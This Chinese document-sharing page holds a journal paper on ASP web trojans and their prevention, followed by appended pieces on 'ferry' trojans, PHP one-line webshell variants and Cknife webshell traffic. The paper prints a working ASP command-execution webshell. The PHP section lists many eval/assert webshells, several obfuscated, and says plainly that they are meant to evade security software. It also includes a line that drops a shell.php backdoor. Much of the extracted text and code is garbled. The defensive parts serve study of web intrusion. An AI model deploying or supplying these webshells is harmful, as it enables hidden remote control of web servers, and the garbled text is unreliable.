当前位置：文档之家 › ASP木马的原理与防范实践

ASP木马的原理与防范实践

  • 格式：pdf
  • 大小：528.96 KB
  • 文档页数：4

第23卷第2期宿州学院学报Vol .23,No .2　2008年4月Journa l of Suzhou Un i versity Apr .2008ASP 木马的原理与防范实践余晓永(宿州学院计算机科学与技术系,安徽宿州　234000)摘要:A SP 作为一种开发简单、功能强大的动态W eb 技术,正得到越来越多的应用。

对A SP 技术的支持已经是w indow s 系统IIS 服务器的一项基本功能。

A SP 在带来高效与便捷的同时,自身也存在着许多安全隐患。

本文就危害性比较大的A SP 木马的原理作出详细的论述,并结合实践提出了防范措施。

关键词:A SP 木马;病毒;安全防范;计算机安全;w eb 应用中图分类号:T P 393.08 文献标识码:A 文章编号:1673-2006(2008)02-0099-03收稿日期:2007209210作者简介:余晓永(1979-),安徽泗县人,硕士研究生,研究方向:数据挖掘与入侵检测。

A SP (A ctive Server Pages )是微软公司发布的动态网页的技术,是基于服务器端运行的脚本编写环境,具有开发简单、功能强大等优点。

应用A SP 技术使建设可动态生成内容的W EB 页面及构造功能强大的W EB 应用程序的工作变得十分简单。

目前越来越多的人在使用A SP 这项技术,经营、维护自己的网站,开发各种应用程序。

A SP 在带来方便的同时,由于本身存在的一些安全漏洞,也带来了一些安全隐患,这些安全隐患稍不留心就会给黑客提供可乘之机。

笔者根据实际工作中的实践经验对危害性较大的A SP 木马的原理和防范技术作论述。

1　ASP 木马概述1.1　木马的定义木马是一种通过与远程计算机之间建立起连接,使远程计算机能够通过网络访问和控制本地计算机的恶意程序,它具有很强的隐蔽性和破坏性。

木马程序一般由Sever 端程序和C lien t 端程序两部分组成,其中Sever 端程序可通过某种具有绑定程序的工具安装在被控制计算机上,而C lien t 端程序安装在控制计算机上。

1.2　A SP 木马的特点和功能A SP 木马其实是程序员在编写网站的后台管理程序的时候编写的管理程序。

最初只是为了管理网站,但当其管理的功能逐渐强大的时候,被一些人利用就成了A SP 木马。

不同于一般服务器 客户机(C S )结构的木马病毒,A SP 木马采用的是服务器 浏览器(B S )结构。

A SP 木马程序大都具有以下特点:管理对方资源,如复制文件、删除文件、查看文件内容、上传文件、下载文件等。

在获取对方服务器一定权限之后,A SP 木马可以结合其他传统木马工具进一步的、直到完全控制目标计算机。

和一般的特洛伊木马相比,A SP 木马有着隐蔽性强的特点,这是因为它和正常的A SP 程序没有本质区别,只要是能运行A SP 的空间就能运行它,这种性质使得A SP 木马非常不易被发觉,要想禁止A SP 木马运行就等于禁止A SP 的运行。

因此,也不可能通过设置防火墙、进程监视、限制端口等查杀一般木马的常用手法来应付。

其高度的隐蔽性和难查杀性,对w eb 网站的安全造成了严重的威胁。

因此,针对A SP 木马的防范和清除,为管理人员提出了更高的技术要求。

2　ASP 木马的原理在分析大量的A SP 木马程序源代码之后,我们会发现A SP 木马技术目前主要有两种,一种是利用FSO 组件技术,另外一种是利用A pp licati on shell 脚本技术。

下面是常见的特征代码:Set o scri p t =Server .C reateO b ject ("W scri p t .SH ELL ")Set o scri p tN et =Server .C reateO b ject ("W scri p t .N ETW OR K ")Set oF ileSys =Server .C reateO b ject ("scri p ting .F ileSystemO b ject ")2.1　FSO 组件FSO 英文全称是F ile System O b ject 是微软A SP 的一个对文件操作的控件,这种对象模型提出了有别于传统的文件操作语句处理文件和文件夹的方法,即通过采用ob ject .m ethod 这种在面向对象编99程中广泛使用的语法,将一系列操作文件和文件夹的动作通过调用对象本身的属性直接实现。

这个控件可以对服务器进行读取、新建、修改、删除目录以及文件的操作。

它是A SP编程中经常使用的一个控件。

FSO对象模型包含在Scri p ting类型库(Scrrun.D ll)中,包含了D rive、Fo lder、F ile、F ileSystemO b ject和T ex tStream五个对象。

其中D rive对象用来收集驱动器的信息,如可用磁盘空间或驱动器的类型;Fo lder对象用于创建、删除或移动文件夹,同时可以进行向系统查询文件夹的路径等操作;F ile对象的基本操作和Fo lder基本相同,所不同的是F iles的操作主要是针对磁盘上的文件进行的;F ileSystemO b ject是FSO对象模型中最主要对象,它提供了一套完整的可用于创建、删除文件和文件夹,收集驱动器、文件夹、文件相关信息的方法。

需要注意的是,FSO对象模型提供的方法是冗余的,也就是说在实际使用中,FSO对象模型中包含的不同对象的不同方法进行的却是同样的操作; T ex tStream对象则是用来完成对文件的读写操作的。

2.2　SH ELL组件Shell组件允许A SP运行.exe等可执行文件,存在严重的安全隐患。

即使在文件系统进行过严格的权限设置的服务器上,此组件也会被用来运行提升权限的程序。

W Scri p t.Shell组件和Shell.A pp licati on组件可以调用系统内核运行DO S基本命令。

这里A SP木马通过调用shell组件可以运行DO S命令进行DO S下的基本操作,从而破坏计算机文件系统,或者提升权限,控制服务器。

以下是一个典型的在服务器端实现执行并反馈DO S命令信息的A SP木马代码:……SetoScri p t=Server.C reateO b ject(" W SCR IPT.SH ELL")SetoScri p tN et=Server.C reateO b ject(" W SCR IPT.N ETW OR K")SetoF ileSys=Server.C reateO b ject(" Scri p ting.F ileSystemO b ject")szC M D=R equest.Fo r m(".C M D")If(szC M D<>"")T henszT em p F ile="C: "&oF ileSys. GegtT em pN am e()CalloScri p t.R un("c m d.exe c"&szC M D&" >"&szT em p F ile,0,T u re)’使用R un方法创建一个新的进程,隐藏窗口并激活另一窗口,返回由应用程序返回的任何错误代码。

SetoF ile=oF ileSys.OpenT ex tF ile (szT em p F ile,1,False,0)’打开临时文件azT em pF ileEnd If……If(Is O b ject(oF ile))T henR espon se.W rite Server.H TM L Encode (oF ile.R eadA ll)’在网页上输出命令执行的结果oF ile.C lo seCalloF ileSys.D eleteF ile(szT em p F ile,T rue)’删除临时文件szT em pF ileEnd If……3　A SP木马的防范实践在防范传统木马时,防火墙是抵挡木马入侵的最好工具,但是A SP木马使用的是目标计算机的合法服务、端口,这为防范带来了难度。

通过在实践中的应用研究和分析,可以采用以下策略来防止和根除A SP木马。

3.1　源头入手,断绝入侵者的上传途径斩断入侵者的上传木马途径等于断绝了入侵的源头,因此防范A SP木马的重点在于W EB程序中A SP上传程序的安全上。

一般的w eb程序为了提供诸如上传附件、图片等服务都开放了上传功能,这些功能同样也为攻击者上传木马提供了便捷,是潜在的安全隐患。

为安全起见,建议用户通过FT P方式来上传文件、维护网页,尽量不安装A SP的上传程序。

如果没有条件,则必须对A SP上传程序的调用设置严格的身份认证,只允许信任的人使用上传程序。

并对上传文件实行格式过滤,如禁止asp,asa, exe,com等危险格式的文件上传到服务器。

3.2　斩草除根,删除或修改FSO、SH ELL等危险组件通过分析,我们已经知道A SP木马主要是通过FSO,SH ELL等组件来实现目标服务器的控制,本质上说:只要我们在系统中禁用了这几种服务就可以彻底杜绝A SP木马的危害,但是这些组件特别是FSO组件都是编程中常用的组件,因此,禁用该组件并不是最理想的安全措施。

折中的方法是在系统注册表中修改组件名称方式,修改其调用方式。

打开注册表编辑器,作出如下修改:H KEY-CLA SSES-ROO T W Scri p t.Shell 及H KEY-CLA SSES-ROO T W Scri p t.Shell.1 改名为其它的名字,如:改为W Scri p t.Shell-ChangeN am e或W Scri p t.Shell.1-ChangeN am e以001后H KEY-CLA SSES-ROO T Shell.A pp licati on ,H KEY-CLA SSES-ROO T Shell.A pp licati on.1 改名为其它的名字,如:改为Shell.A pp licati on-ChangeN am e或Shell.A pp licati on.1-ChangeN am e修改CL S I D值:H KEY-CLA SSES-ROO T Shell.A pp licati on CL S I D 项目的值H KEY-CLA SSES-ROO T Shell.A pp licati on CL S I D 项目的值H KEY-CLA SSES-ROO T W Scri p t.Shell CL S I D 项目的值以后在需要时,使用修改后的名称就可以正常调用此这几个组件了。

合集下载

“摆渡”木马工作原理及防范措施

“摆渡”木马工作原理及防范措施

“摆渡”木马工作原理及防范措施“摆渡”木马是一种利用网络攻击手段，通过对目标计算机进行渗透并植入木马程序，从而在目标计算机上建立起与攻击者之间的远程控制通道，实现对目标计算机的控制和操作。

其工作原理主要包括渗透入侵、植入木马和远程控制三个步骤。

首先，攻击者使用各种手段尝试渗透目标计算机的防御系统，包括网络扫描、漏洞利用、社会工程学等。

一旦找到目标计算机的漏洞，攻击者即可在目标计算机上获得权限，打开一扇后门用于进一步的攻击。

其次，攻击者在目标计算机上植入一个木马程序，这通常是一个具有远控功能的恶意软件。

木马程序被设计成伪装成合法程序或隐藏在其他正常程序中，可以很好地绕过防火墙和杀毒软件的检测。

一旦木马程序被运行，它会在计算机上建立起一个与攻击者控制端相连接的通道，将目标计算机上的信息传输给攻击者。

最后，攻击者通过远程控制端对目标计算机进行操作。

他们可以执行各种操作，例如远程查看目标计算机的屏幕、访问文件系统、操纵键盘和鼠标等。

此外，攻击者还可以利用木马程序进行更进一步的攻击活动，例如传播病毒、进行黑客攻击或窃取敏感信息等。

针对“摆渡”木马的防范措施主要包括以下几点：2.及时更新系统和软件：及时安装官方发布的系统和软件更新补丁，以修复已知漏洞，减少攻击窗口。

3.使用防病毒软件和防火墙：选择可信赖的防病毒软件和防火墙，并保持其及时更新和自动定期扫描功能开启。

4.网络流量监测和入侵检测系统：使用网络流量监测和入侵检测系统，对网络流量进行实时监控和异常检测，及时发现并应对潜在的攻击行为。

5.限制权限和访问控制：为用户和进程分配最小化的权限和访问范围，合理配置用户账号和密码策略，避免恶意软件利用高权限访问系统。

6.加密通信和身份验证：使用加密通信协议（如HTTPS）保护敏感数据传输，采用双因素身份验证方式来增加账号登录的安全性。

7.定期备份数据：定期备份重要数据，以防止部分数据因为木马攻击被损坏或被加密而无法使用。

PHP一句话木马变形研究

PHP一句话木马变形研究

PHP⼀句话⽊马变形研究⼀句话⽊马变形介绍：⽹站后门，也可以叫做WebShell，⿊客在⼊侵了⼀个⽹站后，通常会将⼀些asp或php⽂档与⽹站服务器WEB⽬录下正常的⽹页⽂档混在⼀起，使得可以通过使⽤浏览器来访问这些asp或者php ⽂档，从⽽得到⼀个命令执⾏环境，最终达到控制⽹站服务器的⽬的（可以上传下载⽂档，查看数据库，执⾏任意进程命令等）。

这样的⽂档叫做后门。

下⾯整理了⼀下当前最常见的PHP后门：最流⾏的⼀种后门叫做⼀句话⽊马，例如：原理：1.在PHP脚本语⾔中，eval或者assert（code）的功能是将code组合成php命令，然后将命令执⾏。

2.<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执⾏ echo phpinfo（）;语句。

优点：短⼩精悍，功能强⼤。

缺点：容易被安全软件检测出来。

为了增强隐蔽性,减⼩被检测的出来的概率，出现了各种⼀句话⽊马的变形。

下⾯是我做的⼏种测试，当然⼀句话的变形并不局限于以下，我们也可以传⼊⽂档，在⽤动态写⼊语句，在同级⽬录下创建⼀句话后门，⽐如：<?phpfputs(fopen(“shell.php”,”w”),”<?php eval($_POST[‘cmd’]);?>”)?>变形⼀<?php$a=str_replace("x", "", "axsxxxxsxexrt");$a($_POST["cmd"]);>变形⼆<?php$fun=create_function('',$_POST['a']);$fun();>变形三<?php@call_user_func(assert,$_POST['a']);>变形四<?php@$test='<?php $a=$_POST["cmd"];assert($a); ?>';file_put_contents("shell.php", $test);>变形四<?php@call_user_func(assert,$_POST['a']);>变形五<?php$a = "assert";$a(@$_POST['a']);>变形六<?php<?php$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";$__P_P="abcdefghijklmnopqrstuvwxyz";$__X_X="123456789";$__O_O=$__X_X[5].$__X_X[3]."_";$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');@$_[00]($__H_H($__H_H($__C_C)));>//解码后即==> eval($_POST[x]);>变形七<?php$a=str_replace("Waldo", "", "aWaldossert");$a(@$_POST['a']);>变形⼋<?php$_=base64_decode("YXNzZXJ0");$_(str_rot13('riny($_CBFG[cntr]);'))>变形九<?php$a="a"."s"."s";$b="e"."r"."t";$c=$a.$b;$c($_POST['a'])>变形⼗<?php$str="a=assert";parse_str($str);//$a=eval$a($_POST['a']);>变形⼗⼀<?php$e = $_REQUEST['e'];$arr = array($_POST['pass'],); array_filter($arr, $e);>。

基于ASP开发的网站的安全性

基于ASP开发的网站的安全性


这样可 以不用密码就通过了你的验证 。
防范技巧 ：上 面的代码应改 为 ：ｅ ｃ ｆ ｍ ｄ ｎｗ ｅｅｕｅｎ ｍ ＝ ｓｌ ｔ ｒ ａｍｉ ｈ ｒ ｓｒａ ｅ ｅ ｏ
‘ ＆ｕ ｅ ＆”’ “ ｓｒ
ｉ ｎ ｔ ｒ Ｏ ． ｆ ｔｅ ｆ ｏ （ｓ Ｆｏ ｒ ｅ ） ｈ ｎ Ｂ ｒｓ ｏ
的问题 ， 本文从 Ａ Ｐ代码 、 Ｓ 后台数据库 、 服务 器设置 、 Ｓ Ａ Ｐ木马等方 面阐 述 了 Ａ Ｐ安全问题 ， Ｓ 并给出解决方 法或建议 。
ＤＢ ｔ Ｐａ ｈ
假 如被人拿 到了源程序 ， 的 Ａ ｃｓ 数据 库的名字 就一览无余 了 。 你 ｃｅ ｓ 因此 建议 你 在 Ｏ Ｂ Ｄ Ｃ里设 置 数 据 源 ，再 在 程 序 中这 样 写 Ｉ ｌ ． ｅ Ｃ＇ｏ ｎ Ｏｎ ｐ Ｉ
维普资讯
科技情报开发与经济
文章编号 ：０ ５ ６３ （ ０６）６ ０ ２ — ２ １０ ～ ０ ３ ２０ １— ２ ３ ０
Ｓ Ｉ Ｅ ＨＩＦ Ｒ Ａ Ｉ ＮＤ Ｖ Ｌ Ｐ Ｅ Ｔ＆Ｅ Ｏ Ｏ Ｙ Ｃ— Ｃ Ｏ Ｍ ＴＯ Ｅ Ｅ Ｏ Ｍ Ｎ Ｔ Ｎ ＣＮ Ｍ
“
ｓｕｕ ｕｎ ｈ ｊｙ ａ ”。
３ Ａ Ｐ服务 器 的安 全设 置 Ｓ
１ Ｓ Ｌ注入 式攻 击 Ｑ
ＳＬ Ｑ 注入式攻击是 比较常见的攻击方式 ，是利用代码 中的漏 洞 ， 在 服务器上运行 Ｓ ｌ ｑ 命令 以及进行其他方式的攻击。 由于 Ａ Ｐ程序员在 编 Ｓ 写程序时不规 范 ， 代码存在漏洞 ， 动态生 成 Ｓ ｌ ｑ 命令 时没有 对用户输入
施。
关 键 词 ： Ｓ 网络 安 全 性 ； Ａ Ｐ； 下载 漏 洞 ； Ｓ Ａ Ｐ木 马 中 图分 类 号 ： Ｐ ９ ．８ Ｔ ３３ ０ 文 献 标 识 码 ： Ａ
一句话木马原理

一句话木马原理

一句话木马原理二、WEB一句话木马菜刀，Cknife，蚁剑这些工具原理比较接近，使用方法大家应该比较熟了，可能有些做渗透测试的朋友也没有了解过原理。

我们做防护规则，对常用的工具都会做分析，先以Cknife为例来分析这个系列。

2.1Ckinife连接2.1.1 PHP一句话连接Asp，aspx和PHP的连接原理比较接近，PHP最基础的一句话如下：<?php @eval($_POST['pass’]);?>通过Cknife等发包工具，把需要执行的php脚本片段，通过密码pass参数传给服务器端，服务器通过eval函数进行执行。

可以看出，一句话木马的本质是PHP,ASP(ASPX)语言具有eval函数，使之具有了动态性，基于动态性，攻击者就可以把命令传给服务器端的一句话木马进行执行，这些命令在config.ini作了定义。

发的请求包中，action参数用来传输base64编码后的命令，可能是考虑到特殊字符容易出问题或者不符合rfc协议之类的原因。

真正的连接密码pass，先对action参数做base64解密，然后传到服务器端执行。

我们把PHP命令做解码，得到@ini_set("display_errors","0");@set_time_limit(0);@set_magi c_quotes_runtime(0);echo("-|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($ F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){ $P=$D."/".$N;$T=@date("Y-m-dH:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P ),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/ ".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();可以看到通过循环遍历某个路径下的文件，其中路径又是通过z1参数base64编码进行传递，截图是查看C盘目录。